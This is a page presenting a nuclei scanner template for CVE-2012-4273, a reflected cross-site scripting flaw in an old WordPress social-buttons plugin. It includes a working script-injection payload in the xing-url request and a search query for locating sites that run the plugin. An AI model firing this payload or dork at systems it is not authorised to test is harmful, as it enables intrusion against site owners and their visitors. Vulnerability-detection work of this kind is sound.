CVE-2012-4273· ppfeufer / 2-click-social-media-buttons· CWE-79
2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting
A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.
Impact
Allows attackers to inject malicious scripts into web pages viewed by users, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Update to the latest version of the 2 Click Socialmedia Buttons plugin (0.34 or higher) to fix the XSS vulnerability.
How to confirm it
Send: GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt
Positive when: contains "2 Click Social Media Buttons" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2012-4273 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2012-4273
info:
name: 2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting
author: daffainfo
severity: medium
description: A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.
impact: |
Allows attackers to inject malicious scripts into web pages viewed by users, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the 2 Click Socialmedia Buttons plugin (0.34 or higher) to fix the XSS vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2012-4273
- http://plugins.trac.wordpress.org/changeset?old_path=%2F2-click-socialmedia-buttons&old=532798&new_path=%2F2-click-socialmedia-buttons&new=532798
- http://wordpress.org/extend/plugins/2-click-socialmedia-buttons/changelog/
- http://packetstormsecurity.org/files/112615/WordPress-2-Click-Socialmedia-Buttons-Cross-Site-Scripting.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/75518
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2012-4273
cwe-id: CWE-79
epss-score: 0.0578
epss-percentile: 0.93156
cpe: cpe:2.3:a:ppfeufer:2-click-social-media-buttons:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: ppfeufer
product: "2-click-social-media-buttons"
google-query: "inurl:\"/wp-content/plugins/2-click-socialmedia-buttons\""
tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,ppfeufer,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '2 Click Social Media Buttons'
- 'Tags:'
condition: and
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2012-4273
- http://plugins.trac.wordpress.org/changeset?old_path=%2F2-click-socialmedia-buttons&old=532798&new_path=%2F2-click-socialmedia-buttons&new=532798
- http://wordpress.org/extend/plugins/2-click-socialmedia-buttons/changelog/
- http://packetstormsecurity.org/files/112615/WordPress-2-Click-Socialmedia-Buttons-Cross-Site-Scripting.html
- https://exchange.xforce.ibmcloud.com/vulnerabilities/75518
Use this check only on systems you are authorised to test. Where the data comes from